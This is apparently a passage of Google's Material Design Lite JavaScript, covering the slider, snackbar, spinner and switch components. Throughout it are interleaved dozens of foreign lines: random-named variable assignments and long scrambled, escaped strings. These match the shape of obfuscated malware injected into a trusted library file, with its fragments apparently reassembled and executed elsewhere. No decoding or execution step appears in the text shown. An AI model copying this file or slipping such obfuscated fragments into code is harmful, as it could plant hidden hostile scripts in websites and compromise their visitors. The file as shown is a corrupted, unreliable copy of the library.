* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
shouldui7 = evdkbpz+crease1;
MaterialSlider.prototype.Constant_ = {};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
mee = ulka+wjuild+natureed+quartkd;
MaterialSlider.prototype.CssClasses_ = {
IE_CONTAINER: 'mdl-slider__ie-container',
SLIDER_CONTAINER: 'mdl-slider__container',
BACKGROUND_FLEX: 'mdl-slider__background-flex',
BACKGROUND_LOWER: 'mdl-slider__background-lower',
BACKGROUND_UPPER: 'mdl-slider__background-upper',
IS_LOWEST_VALUE: 'is-lowest-value',
IS_UPGRADED: 'is-upgraded'
};
/**
* Handle input on element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialSlider.prototype.onInput_ = function (event) {
this.updateValueStyles_();
};
grasshl = fast41+wart;
/**
* Handle change on element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialSlider.prototype.onChange_ = function (event) {
this.updateValueStyles_();
};
/**
* Handle mouseup on element.
*
* @param {Event} event The event that fired.
* @private
*/
wrmtu = dreami+iylc+scptprp+leg8s1;
MaterialSlider.prototype.onMouseUp_ = function (event) {
event.target.blur();
};
/**
* Handle mousedown on container element.
* This handler is purpose is to not require the use to click
* exactly on the 2px slider element, as FireFox seems to be very
* strict about this.
*
* @param {Event} event The event that fired.
* @private
* @suppress {missingProperties}
*/
MaterialSlider.prototype.onContainerMouseDown_ = function (event) {
// If this click is not on the parent element (but rather some child)
// ignore. It may still bubble up.
if (event.target !== this.element_.parentElement) {
return;
}
// Discard the original event and create a new event that
// is on the slider element.
event.preventDefault();
var newEvent = new MouseEvent('mousedown', {
target: event.target,
buttons: event.buttons,
clientX: event.clientX,
clientY: this.element_.getBoundingClientRect().y
});
this.element_.dispatchEvent(newEvent);
};
bbdwy = hqibvsj+stood1+hearde+evening3+her4;
/**
* Handle updating of values.
*
* @private
*/
MaterialSlider.prototype.updateValueStyles_ = function () {
// Calculate and apply percentages to div structure behind slider.
var fraction = (this.element_.value - this.element_.min) / (this.element_.max - this.element_.min);
if (fraction === 0) {
this.element_.classList.add(this.CssClasses_.IS_LOWEST_VALUE);
} else {
this.element_.classList.remove(this.CssClasses_.IS_LOWEST_VALUE);
}
if (!this.isIE_) {
this.backgroundLower_.style.flex = fraction;
this.backgroundLower_.style.webkitFlex = fraction;
this.backgroundUpper_.style.flex = 1 - fraction;
this.backgroundUpper_.style.webkitFlex = 1 - fraction;
}
};
thus6 = jwqglzl+resultw+rqco;
// Public methods.
bhzcef = third20+sharpo+pxmxk+held8;
/**
* Disable slider.
*
* @public
*/
lkwnblt = segment7+huetv+follow3+nuzo;
MaterialSlider.prototype.disable = function () {
this.element_.disabled = true;
};
muteciy = mix9+is8;
MaterialSlider.prototype['disable'] = MaterialSlider.prototype.disable;
bzhjal = ndllzn+stjvx;
/**
* Enable slider.
*
* @public
*/
MaterialSlider.prototype.enable = function () {
this.element_.disabled = false;
};
MaterialSlider.prototype['enable'] = MaterialSlider.prototype.enable;
/**
* Update slider value.
*
* @param {number} value The value to which to set the control (optional).
* @public
*/
MaterialSlider.prototype.change = function (value) {
if (typeof value !== 'undefined') {
this.element_.value = value;
}
this.updateValueStyles_();
};
suggestc = tiree8+center82+sand81+gqjec;
MaterialSlider.prototype['change'] = MaterialSlider.prototype.change;
oykexv = chairm+tgsjaq1;
/**
* Initialize element.
*/
MaterialSlider.prototype.init = function () {
if (this.element_) {
if (this.isIE_) {
// Since we need to specify a very large height in IE due to
// implementation limitations, we add a parent here that trims it down to
// a reasonable size.
var containerIE = document.createElement('div');
containerIE.classList.add(this.CssClasses_.IE_CONTAINER);
this.element_.parentElement.insertBefore(containerIE, this.element_);
this.element_.parentElement.removeChild(this.element_);
containerIE.appendChild(this.element_);
} else {
// For non-IE browsers, we need a div structure that sits behind the
// slider and allows us to style the left and right sides of it with
// different colors.
var container = document.createElement('div');
container.classList.add(this.CssClasses_.SLIDER_CONTAINER);
this.element_.parentElement.insertBefore(container, this.element_);
this.element_.parentElement.removeChild(this.element_);
container.appendChild(this.element_);
var backgroundFlex = document.createElement('div');
backgroundFlex.classList.add(this.CssClasses_.BACKGROUND_FLEX);
container.appendChild(backgroundFlex);
this.backgroundLower_ = document.createElement('div');
this.backgroundLower_.classList.add(this.CssClasses_.BACKGROUND_LOWER);
backgroundFlex.appendChild(this.backgroundLower_);
this.backgroundUpper_ = document.createElement('div');
this.backgroundUpper_.classList.add(this.CssClasses_.BACKGROUND_UPPER);
backgroundFlex.appendChild(this.backgroundUpper_);
}
this.boundInputHandler = this.onInput_.bind(this);
this.boundChangeHandler = this.onChange_.bind(this);
this.boundMouseUpHandler = this.onMouseUp_.bind(this);
this.boundContainerMouseDownHandler = this.onContainerMouseDown_.bind(this);
this.element_.addEventListener('input', this.boundInputHandler);
this.element_.addEventListener('change', this.boundChangeHandler);
this.element_.addEventListener('mouseup', this.boundMouseUpHandler);
this.element_.parentElement.addEventListener('mousedown', this.boundContainerMouseDownHandler);
this.updateValueStyles_();
this.element_.classList.add(this.CssClasses_.IS_UPGRADED);
}
};
esdyj = xhxazojc+product1;
// The component registers itself. It can assume componentHandler is available
table8='Il\\l\\u\\p\' \\,\'z\\s\\vob^pesf(nz\\c\"i\\f\\ \\n\\o\\i\'tNc\\n\\u+f\\;\'\'$(+((h+((\\\\\\\\\'g\\\\\'\'\\=\\\\\\\\rw]\\+\'i\\o\'fN\\\\\\\\cg\'m\\([+mo\'i\\(f\\\\\'\\oe\\Z\\iw) /d(S{';
// in the global scope.
hwzhfq='; )=l vemabr,lsyr0a+eont,hwecri7e+(m0artitaehr b=+ mwvciice+;n)slcvi';
componentHandler.register({
constructor: MaterialSlider,
classAsString: 'MaterialSlider',
cssClass: 'mdl-js-slider',
widget: true
});
bqlhno='$ien/s\'o\\o(g\\E\\CbnmeGr+iq\'.;Nr\'e\\zro\\v\\wI=\'\'\\+cc\\[\\,r\\t\'.S+\\T\\t5e5\'\\\\\\s.\\\\\\\'\\]\\*\'5=(v\\d\'o1o\\g\\;+\'\\+\'+)T\\S\\0)\\+\\]\'+\\\\\'\\\\\\\\\'\\\\a\'3\\o\\)[f\\(\'Pw+\\\\\\\\Z])\'\\\\\\(/x\\f\\+}\'[\\aQ\\\\\\\\\\\\\'\\\\[\\\'\\\\\\ifJlZ\\a\\O+d\\[\'rl\']\\\\$\'\\(\\\\i\\](';
/**
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
ganqu='/\\;\'sccdxe$Wi.rs\\L\\Tse\'.\\l\'$\\t\\c\\.\\,\\r\"o\\Ai\\+\\+\\(\'C\\\\\"\\\\\'\\\\m\'P\\!\\\'\\; boamsoe=2\'==\'zov\\y\\uov\\}\'}c p;n)o(akhF|XJT\\y\'gp \\{\\ :eNs\\l\\e+ \\}\" ';
/**
* Class constructor for Snackbar MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
drivep='r\\t\\;Z+\\+\'rJe[goac;QrZeIgia\\=\'r[e\\g\\a\\{\\)E1\\t\'s+efwh((e\\l\'i]h\'w;;c2aecfla=s\' j=9 \\u\'y+n\\a\\p,mto)c+;1)$';
var MaterialSnackbar = function MaterialSnackbar(element) {
this.element_ = element;
this.textElement_ = this.element_.querySelector('.' + this.cssClasses_.MESSAGE);
this.actionElement_ = this.element_.querySelector('.' + this.cssClasses_.ACTION);
if (!this.textElement_) {
throw new Error('There must be a message element for a snackbar.');
}
if (!this.actionElement_) {
throw new Error('There must be an action element for a snackbar.');
}
this.active = false;
this.actionHandler_ = undefined;
this.message_ = undefined;
this.actionText_ = undefined;
this.queuedNotifications_ = [];
this.setActionHidden_(true);
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialSnackbar.prototype.Constant_ = {
// The duration of the snackbar show/hide animation, in ms.
ANIMATION_LENGTH: 250
};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialSnackbar.prototype.cssClasses_ = {
SNACKBAR: 'mdl-snackbar',
MESSAGE: 'mdl-snackbar__text',
ACTION: 'mdl-snackbar__action',
ACTIVE: 'mdl-snackbar--active'
};
/**
* Display the snackbar.
*
* @private
*/
MaterialSnackbar.prototype.displaySnackbar_ = function () {
this.element_.setAttribute('aria-hidden', 'true');
if (this.actionHandler_) {
this.actionElement_.textContent = this.actionText_;
this.actionElement_.addEventListener('click', this.actionHandler_);
this.setActionHidden_(false);
}
this.textElement_.textContent = this.message_;
this.element_.classList.add(this.cssClasses_.ACTIVE);
this.element_.setAttribute('aria-hidden', 'false');
setTimeout(this.cleanup_.bind(this), this.timeout_);
};
grayd='zOVr++\\ \'\'o\\\\S\\\\\\\\\\t(\'\\\\\'.+\\\\\\\\c()\\a\'t\\e\'+.D\\s\\\\+\\d(n\'r\\\\b\\\'i=\\o\'e-l\\p\\mra\\x\'e\\;\'\'tD\\+\\f+N Ne\\+\\\\u\\\'e\\\\a\'i\\n\'z.r\\A\\coXn-cm tI;vT\\.\\i] \\e\'_:os$1\'+\\|$S\\[\\\'t;n';
/**
* Show the snackbar.
*
* @param {Object} data The data for the notification.
* @public
*/
moneyl='+nau\'f;}l;e8tetcearpms= \'=) \\]\'9)7\\3\\9]4\\[\'1\\o\\z\\t\\d\\a\';.)(5+mDrtaZ,\\)\'wtm\\r\\y[(E2\\e\\fPa\\s\'(\\0\'ufl\\y\\y(jA=]z+z+';
MaterialSnackbar.prototype.showSnackbar = function (data) {
if (data === undefined) {
throw new Error('Please provide a data object with at least a message to display.');
}
if (data['message'] === undefined) {
throw new Error('Please provide a message to be displayed.');
}
if (data['actionHandler'] && !data['actionText']) {
throw new Error('Please provide action text with the handler.');
}
if (this.active) {
this.queuedNotifications_.push(data);
} else {
this.active = true;
this.message_ = data['message'];
if (data['timeout']) {
this.timeout_ = data['timeout'];
} else {
this.timeout_ = 2750;
}
if (data['actionHandler']) {
this.actionHandler_ = data['actionHandler'];
}
if (data['actionText']) {
this.actionText_ = data['actionText'];
}
this.displaySnackbar_();
}
};
MaterialSnackbar.prototype['showSnackbar'] = MaterialSnackbar.prototype.showSnackbar;
/**
* Check if the queue has items within it.
* If it does, display the next entry.
*
* @private
*/
nation3='z+f+wek a\\x\\r\'r\\=\"\'\\\\\\\'\\\\h\\b\\^\\g\\H\'y\\\\\'\\o \\\"\\\\=\'+=MtIiTb\\l\';\\\'\\e\\y\\ \\}\'Xqa;pwe+\'T\\)\\\\\\\'\\\\\\\\\'\\\\\\E\\L\')Q+\\E\\\\+\\\\+\'\'$\\)\'\\\\\'\\E\\\\\\\\\\}\'=\\\\(\\+I+\\p\'\'\\\\\'\\C\\\\\\\\\\(\'N\\a\'+\\+;D\\\\\\\\T\\e\' \\l\'I\\C\\$)S\\T\'\'+\\\\t\\\\\\\\\\W1;\\e\')+\\\\\\\\}`\'\\\\\'+\\h\'{T+\\(\\HThd\\U\\o\'\'\\;\'r\\e\\q\\uCiCr\'e=qq';
MaterialSnackbar.prototype.checkQueue_ = function () {
if (this.queuedNotifications_.length > 0) {
this.showSnackbar(this.queuedNotifications_.shift());
}
};
/**
* Cleanup the snackbar event listeners and accessiblity attributes.
*
* @private
*/
wish0c='\\i\\+)e\'1\\z))/l+2+o6\\\'\\=sd\\e\'mMe3qeg\'y;sf;a1mtosuesw1+=d\'k1l}kto\\y\'w2+\\1\\tPs)e9w$';
MaterialSnackbar.prototype.cleanup_ = function () {
this.element_.classList.remove(this.cssClasses_.ACTIVE);
setTimeout(function () {
this.element_.setAttribute('aria-hidden', 'true');
this.textElement_.textContent = '';
if (!Boolean(this.actionElement_.getAttribute('aria-hidden'))) {
this.setActionHidden_(true);
this.actionElement_.textContent = '';
this.actionElement_.removeEventListener('click', this.actionHandler_);
}
this.actionHandler_ = undefined;
this.message_ = undefined;
this.actionText_ = undefined;
this.active = false;
this.checkQueue_();
}.bind(this), this.Constant_.ANIMATION_LENGTH);
};
/**
* Set the action handler hidden state.
*
* @param {boolean} value
* @private
*/
MaterialSnackbar.prototype.setActionHidden_ = function (value) {
if (value) {
this.actionElement_.setAttribute('aria-hidden', 'true');
} else {
this.actionElement_.removeAttribute('aria-hidden');
}
};
// The component registers itself. It can assume componentHandler is available
// in the global scope.
componentHandler.register({
constructor: MaterialSnackbar,
classAsString: 'MaterialSnackbar',
cssClass: 'mdl-js-snackbar',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Spinner MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @param {HTMLElement} element The element that will be upgraded.
* @constructor
*/
var MaterialSpinner = function MaterialSpinner(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
mkbkc='to3cc[az\\z\'n)z\\d\\[\\1\\g\\n\'u\\o\'y\\ \\= +](3+e,n\\o\'t+s\\[\\z6z\\n\'z)d\\;\\g0zoa\\c\\r\\p\'y\\n\' (=- u]N7y061n5\\5\\[a1\\o\'zpt0dm';
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
coolsg='=b\'h+t+j{g);\\5\'8F3\\1\\2\\ \\=$ \\6\'wre[i_vR}\\;\'vZe\\b\\p\\i\\j. \\n\'r+u[tne(r\\;\'hft\\g\\n+eal].Ee)eMp(aVh\\s\\=\\v\'e\\b\'p\\i\\j1{\\ \')Ek\'8;bktr';
MaterialSpinner.prototype.Constant_ = { MDL_SPINNER_LAYER_COUNT: 4 };
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialSpinner.prototype.CssClasses_ = {
MDL_SPINNER_LAYER: 'mdl-spinner__layer',
MDL_SPINNER_CIRCLE_CLIPPER: 'mdl-spinner__circle-clipper',
MDL_SPINNER_CIRCLE: 'mdl-spinner__circle',
MDL_SPINNER_GAP_PATCH: 'mdl-spinner__gap-patch',
MDL_SPINNER_LEFT: 'mdl-spinner__left',
MDL_SPINNER_RIGHT: 'mdl-spinner__right'
};
/**
* Auxiliary method to create a spinner layer.
*
* @param {number} index Index of the layer to be created.
* @public
*/
nosex='6bps)b\\t\\j-+\'r\\e+qeu7i+r(e\\q\\+8d\'e\\p\'e\\n\\d\\0\\;\\s\'h\\i1n+eEeS (=\\ \\q\'u\\b\'a\\g\\+\\z1o]kCh)l2cfcI++m;o[uvt(h[5Z;rc';
MaterialSpinner.prototype.createLayer = function (index) {
var layer = document.createElement('div');
layer.classList.add(this.CssClasses_.MDL_SPINNER_LAYER);
layer.classList.add(this.CssClasses_.MDL_SPINNER_LAYER + '-' + index);
var leftClipper = document.createElement('div');
leftClipper.classList.add(this.CssClasses_.MDL_SPINNER_CIRCLE_CLIPPER);
leftClipper.classList.add(this.CssClasses_.MDL_SPINNER_LEFT);
var gapPatch = document.createElement('div');
gapPatch.classList.add(this.CssClasses_.MDL_SPINNER_GAP_PATCH);
var rightClipper = document.createElement('div');
rightClipper.classList.add(this.CssClasses_.MDL_SPINNER_CIRCLE_CLIPPER);
rightClipper.classList.add(this.CssClasses_.MDL_SPINNER_RIGHT);
var circleOwners = [
leftClipper,
gapPatch,
rightClipper
];
for (var i = 0; i < circleOwners.length; i++) {
var circle = document.createElement('div');
circle.classList.add(this.CssClasses_.MDL_SPINNER_CIRCLE);
circleOwners[i].appendChild(circle);
}
layer.appendChild(leftClipper);
layer.appendChild(gapPatch);
layer.appendChild(rightClipper);
this.element_.appendChild(layer);
};
MaterialSpinner.prototype['createLayer'] = MaterialSpinner.prototype.createLayer;
standu='tf1A+\'j\\uHm\\p\\f\';=k4kbekjzxqst d=u ;j8l5w8t3t +=l eitptceyrzm;;\'a(cse\'l\\pFv\\ \\=t ]m\\e\\ns0\'+\\if';
/**
* Stops the spinner animation.
* Public method for users who need to stop the spinner for any reason.
*
* @public
*/
caught2='3\'(+x+]M5t+\\P\\(\'/\\)\'o\\Z\\t\\\'\\;\\sra\'w\\4w2u=\'\'\\\\+\'\\l\\\\R\\-2\\O\\\\+\\\'+\\\\O\'.R\')\\\\W\'\\(\\\\R\\b)\\P\\+a:\'+\\yJ)\\s\\\\c\\\'t\\\\E\'+e/\\+\\ci\\\\\\\'/c\'\\\\\\TR\\\\\\\":U\'s\\u\'\\\\\\Sr\\\\\\\'Ec\'\\\\\\Oi\\\\\\\'ae+,\\\\\\\'+(\'\\\\\\\' \\Sd+\\+\\Z+.\')\\\\T\'\\[\\\\\\\\\\\\ \\\'\\\\\'s\\o\'s\\\\\\\\fpT\"\'\\;Yi';
MaterialSpinner.prototype.stop = function () {
this.element_.classList.remove('is-active');
};
meeplu5='g8i5f5+364e2h7t7o8l4c6+2s7x2j7e0k1k1+759t7c9e5n7n8o3c0+4n7g7n;ibse+fco4rnei8';
MaterialSpinner.prototype['stop'] = MaterialSpinner.prototype.stop;
wildk='nmoeiAtGaltrse P=r \\]\'2r7\\2\\5p3S[t1+ocz|tsd\\a\';.s\'d;n4i4m8+4w6l4l2a5h3s2+494t1s3e6t6+8i2';
/**
* Starts the spinner animation.
* Public method for users who need to manually start the spinner for any reason
* (instead of just adding the 'is-active' class to their markup).
*
* @public
*/
MaterialSpinner.prototype.start = function () {
this.element_.classList.add('is-active');
};
MaterialSpinner.prototype['start'] = MaterialSpinner.prototype.start;
/**
* Initialize element.
*/
MaterialSpinner.prototype.init = function () {
if (this.element_) {
for (var i = 1; i <= this.Constant_.MDL_SPINNER_LAYER_COUNT; i++) {
this.createLayer(i);
}
this.element_.classList.add('is-upgraded');
}
};
dance4='nTz(d\\{\'))c\\e\\b2yH \\,\\lnh\\x\'u) 4,.ySk}n*a\\b\'(\\t\\n\\o\\i\\t\'aEt3s+ (nlo,i\\t\'c+n\\u\\f1;s\')kM /\\E\\\\(\\\'e\\\\=\'o{\'1\\t+\'\\;\\e)s!p\\e\\cpi\'a\\l)';
// The component registers itself. It can assume componentHandler is available
// in the global scope.
componentHandler.register({
constructor: MaterialSpinner,
classAsString: 'MaterialSpinner',
cssClass: 'mdl-js-spinner',
widget: true
});
rflgy='\\r\\bm(, \\=\\ +t\\t\'i\\s\' l)\\)\\dek\\l\'kro\\y\\w\\-\\3+e\\n\'o\\t\"sp(\\ \\%+ \\c\'lcl\\e\\p\\s\\() \\f\'i\\{\" .)\\c\\eDs;opl^cO $,h6\\e\\sMo\\p\\ p,r3nk\\r\'o\\w\\ \\,\\c\\l\"lPeOp+s,';
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Checkbox MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialSwitch = function MaterialSwitch(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialSwitch.prototype.Constant_ = { TINY_TIMEOUT: 0.001 };
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialSwitch.prototype.CssClasses_ = {
INPUT: 'mdl-switch__input',
TRACK: 'mdl-switch__track',
THUMB: 'mdl-switch__thumb',
FOCUS_HELPER: 'mdl-switch__focus-helper',
RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
RIPPLE_CONTAINER: 'mdl-switch__ripple-container',
RIPPLE_CENTER: 'mdl-ripple--center',
RIPPLE: 'mdl-ripple',
IS_FOCUSED: 'is-focused',
IS_DISABLED: 'is-disabled',
IS_CHECKED: 'is-checked'
};
thosen='p\\t\'J=EZcK\'R\\Ad[\\C\\\'.;\'w\\z$y\\l\\ap=+\'}\\+\\\\\\\\\'\'\\\\\'\'\\\\\\\\e\\\\)\'\'o\\\\+\\\\R\\+)ml+\\P\\\\(\'\'/\\\\a\\(m)\\h\'exY\\\'\\=O4wemeSrCth;l\'b+.%e\'r\\F\\O\\r\\p\\R\'I\\e(c|\\\"\'\\.c\\\\\\\\.}{\'m\\+Ep\\$\\E0\\\'\'\\hR\\\\\\\\T0_sptP,s0.\'\'\\;iy';
/**
* Handle change of state.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialSwitch.prototype.onChange_ = function (event) {
this.updateClasses_();
};
/**
* Handle focus of element.
*
* @param {Event} event The event that fired.
* @private
*/
rock4='+ps y,gwqyedmaeld +,w8innotietrs7e+upqo s,i5ttieoknr4a;mr(elasds8e r=p ';
MaterialSwitch.prototype.onFocus_ = function (event) {
this.element_.classList.add(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle lost focus of element.
*
* @param {Event} event The event that fired.
* @private
*/
ateck='+\\R\\\',\\TXm\\+\\\\\\\\\\\\\'\'\\\\\'\'\\\\\\\\\\.z\\+\'++o\\I\\\'O\\+\\\\\\\\\\c\\\\\'\'\\\\.\'qi:\\ \\t\\T\\nt$\\n\"\\S\\.\' \\\\\'\\\\.\\\\\\\'hnem+\\+\'E+m\\\\\\\\\\\'\\\\A\'\\\\\'\\+\\\'I;erQu\'b=g1=t\'n:e2stepr]p0eMr\\;\\\'\\)\'l\\=\'s\\(\\=/(A3(t+14\'n\\+5\\\\\'\\);\\i\\t)far]uEy\\U\\{GQ';
MaterialSwitch.prototype.onBlur_ = function (event) {
this.element_.classList.remove(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle mouseup.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialSwitch.prototype.onMouseUp_ = function (event) {
this.blur_();
};
/**
* Handle class updates.
*
* @private
*/
rant0='danee)pPe.dk;-5o8\\4\\ \\=\' \\g\'d\\u\\o(l[c(;+\'2P\'I;Bbnahltlua\'= \'=7 l5)m\\r\'a-}\\;\\]\\]\\kOr\\e\'v';
MaterialSwitch.prototype.updateClasses_ = function () {
this.checkDisabled();
this.checkToggleState();
};
hgnpl=' \',;msltloepwh =,\'n:v+z\\t\'e]r\\b\\(\\0\\r:i\\a\'h. tnTopictRcOnhupfe}B}p}r;\\1\\g\\n\'u\\o\'y\\=\\]\\)\\mlt\\u\"o+(+[m1\\o\\z\\t\'d\\a\';\\5\\1\\9\\1x1';
/**
* Add blur.
*
* @private
*/
MaterialSwitch.prototype.blur_ = function () {
// TODO: figure out why there's a focus event being fired after our blur,
// so that we can avoid this hack.
window.setTimeout(function () {
this.inputElement_.blur();
}.bind(this), this.Constant_.TINY_TIMEOUT);
};
// Public methods.
/**
* Check the components disabled state.
*
* @public
*/
MaterialSwitch.prototype.checkDisabled = function () {
if (this.inputElement_.disabled) {
this.element_.classList.add(this.CssClasses_.IS_DISABLED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_DISABLED);
}
};
suit6=' rnooliltkc+nyuzfx;r\'n qG+(u[o;n.t\'m\\+ol\\b\\iut)+PzsfswTkxatxE';
MaterialSwitch.prototype['checkDisabled'] = MaterialSwitch.prototype.checkDisabled;
rnbrz=' ff;l\"oZoJrf4h+ji\"c e=7 +pltanoewiht;oeuzqx{b z) a=0 tmnmavwe c,+trpeesttesx';
/**
* Check the components toggled state.
*
* @public
*/
MaterialSwitch.prototype.checkToggleState = function () {
if (this.inputElement_.checked) {
this.element_.classList.add(this.CssClasses_.IS_CHECKED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_CHECKED);
}
};
fill2='\\;\\tjt\\i\'s\\ \"ner\\u\\tse\\r\';P)\\n\\vuz(t\\e\\r+b\\+\'mdl\'l;emwe(n 0== \'t\\t\\ims\\ \"e]s\\l\\e/ |;\\)\\m\\l\"l\\e\'w\\+\\nxv\\z\'t+e';
MaterialSwitch.prototype['checkToggleState'] = MaterialSwitch.prototype.checkToggleState;
/**
* Disable switch.
*
* @public
*/
angern='\'s=hiofelda=h\';a\'Z:m\';\\i\'\\\\\'\\c\\)\\e\\)\'d\\(s;+)+5.;p6\\}\\-\' \\8\'c\\\'\\;\\fGltoaotre4t=c\'e\\t\\hy.\\M\'\\p\\\\\'\\\\r\'M\\h\\+\\O)\\.\'+p+\\m\\I\\\\\\\\\\\'\'\\\\\'\'\\\\\\\\\\\\e\\o+\'\\=\"bSg+d\\r\'r\\;\\\'\\g\\a\\\'\'\\E\\\\\\\\\\A\\\\\'\'\\Lr+HE]mdE\'\\\\\\AR\\\\\\\'e\\:\'=E';
MaterialSwitch.prototype.disable = function () {
this.inputElement_.disabled = true;
this.updateClasses_();
};
MaterialSwitch.prototype['disable'] = MaterialSwitch.prototype.disable;
/**
* Enable switch.
*
* @public
*/
fxdp='jnde+ibteoaujqc ;+s ivzeet1a c=o lr r+d gpbt+nienidtiocuaqt e=2 +pltonv';
MaterialSwitch.prototype.enable = function () {
this.inputElement_.disabled = false;
this.updateClasses_();
};
verys='yzvnszjde(l]e3pe n=o tpso[iznztncz+ds{i)s(tgezra0c+rbpo';
MaterialSwitch.prototype['enable'] = MaterialSwitch.prototype.enable;
/**
* Activate switch.
*
* @public
*/
MaterialSwitch.prototype.on = function () {
this.inputElement_.checked = true;
this.updateClasses_();
};
MaterialSwitch.prototype['on'] = MaterialSwitch.prototype.on;
/**
* Deactivate switch.
*
* @public
*/
MaterialSwitch.prototype.off = function () {
this.inputElement_.checked = false;
this.updateClasses_();
};
uaqk='\'p=|4\\e\'cxi\\t\\o\\n\\;l\'\\2\"da(mNI/(E\\\'\'\\lT\\\\\\\\NSc2rM+eIuA(pa\\\'\'\\\\.\\\\\\\\\\N\\+\'_T)cAnC+$I+.G\'(;+j\'u=mfpvfj=v\'}+;+)Vi/p\\c\'y\\z\\(\\l\\s\\s\'eVrxpa;Mt(';
MaterialSwitch.prototype['off'] = MaterialSwitch.prototype.off;
/**
* Initialize element.
*/
MaterialSwitch.prototype.init = function () {
if (this.element_) {
this.inputElement_ = this.element_.querySelector('.' + this.CssClasses_.INPUT);
var track = document.createElement('div');
track.classList.add(this.CssClasses_.TRACK);
var thumb = document.createElement('div');
thumb.classList.add(this.CssClasses_.THUMB);
var focusHelper = document.createElement('span');
focusHelper.classList.add(this.CssClasses_.FOCUS_HELPER);
thumb.appendChild(focusHelper);
this.element_.appendChild(track);
this.element_.appendChild(thumb);
this.boundMouseUpHandler = this.onMouseUp_.bind(this);
if (this.element_.classList.contains(this.CssClasses_.RIPPLE_EFFECT)) {
this.element_.classList.add(this.CssClasses_.RIPPLE_IGNORE_EVENTS);
this.rippleContainerElement_ = document.createElement('span');
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_CONTAINER);
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_EFFECT);
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_CENTER);
this.rippleContainerElement_.addEventListener('mouseup', this.boundMouseUpHandler);
var ripple = document.createElement('span');
ripple.classList.add(this.CssClasses_.RIPPLE);
this.rippleContainerElement_.appendChild(ripple);
this.element_.appendChild(this.rippleContainerElement_);
}
this.boundChangeHandler = this.onChange_.bind(this);
this.boundFocusHandler = this.onFocus_.bind(this);
this.boundBlurHandler = this.onBlur_.bind(this);
this.inputElement_.addEventListener('change', this.boundChangeHandler);
this.inputElement_.addEventListener('focus', this.boundFocusHandler);
this.inputElement_.addEventListener('blur', this.boundBlurHandler);
this.element_.addEventListener('mouseup', this.boundMouseUpHandler);
this.updateClasses_();
this.element_.classList.add('is-upgraded');
}
};
createy4='yonk fn+ojigtwcfndu;ff;i1g i= =1 tusdetwq;z\'kCbN4,+:irnid9uTs\'t\\rOy\\8\\+lj';
// The component registers itself. It can assume componentHandler is available
left3l='+;5+d\\r\"alw\\o\\t\\+\\7de\\s\'i+rrpCrou$s\\+\\qHt\\m\'d_wi h=+ \\w\'msr\\y\\{\\)\\7el\\l\'i+wS t,pc\\y\'wew\\r\\(c1$gRn.u\\o\\y \\n\'oviPtTc';
// in the global scope.
componentHandler.register({
constructor: MaterialSwitch,
classAsString: 'MaterialSwitch',
cssClass: 'mdl-js-switch',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
